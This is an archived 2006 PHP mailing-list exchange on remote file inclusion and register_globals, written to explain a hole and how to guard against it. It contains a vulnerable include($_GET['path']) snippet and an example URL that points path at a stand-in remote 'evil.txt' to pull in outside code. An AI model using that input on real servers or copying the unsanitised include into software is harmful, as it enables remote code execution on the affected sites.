hi chris... for the initial post, it does/did matter for register_globals to be on/off. in your reply, you use a $_GET[..] for the $path var. in the initial post that i saw, (which i replied to), the $path var was simply used, without the $_GET[..]. it's my understanding (recollection) that if the register_globals is on, then php will automatically generate and fill vars based on the query var. whereas, if the register_globals is off, the app has to specifically 'assign' the var via the $GET/$POST... feel free to correct if something was/is missed. other than that, what you have stated is completely correct as i understand php to work. -----Original Message----- From: Chris [mailto:dmagick@xxxxxxxxx] Sent: Monday, November 13, 2006 6:28 PM To: bedouglas@xxxxxxxxxxxxx Cc: 'PHP' Subject: Re: Highjack? bruce wrote: > rory.. > > thanks.. i had meant to say assuming globals is off... Doesn't matter about register globals, it depends on you sanitizing content as it comes in. If you have: http://www.foo...?path=/scripts and that's plainly visible, then if I do: http://www.foo....?path=http://www.foo1../evil.txt and you don't check the $path variable: <?php $path = $_GET['path']; include($path.'script.php'); ?> then bad things happen. This method relies on allow_url_fopen being on (and in php5.2.0+ allow_url_include I think it's called being on). On the other hand if you did: <?php $mydir = dirname(__FILE__); $path = $_GET['path']; $fullpath = $mydir . '/' . $path; if ($fullpath != realpath($fullpath)) { echo "Hack attempt"; exit; } ... then that's a check to make sure that the path is on the server and that it doesn't contain '.././' type elements - because then $fullpath will not be the same as the realpath. -- Postgresql & php tutorials http://www.designmagick.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
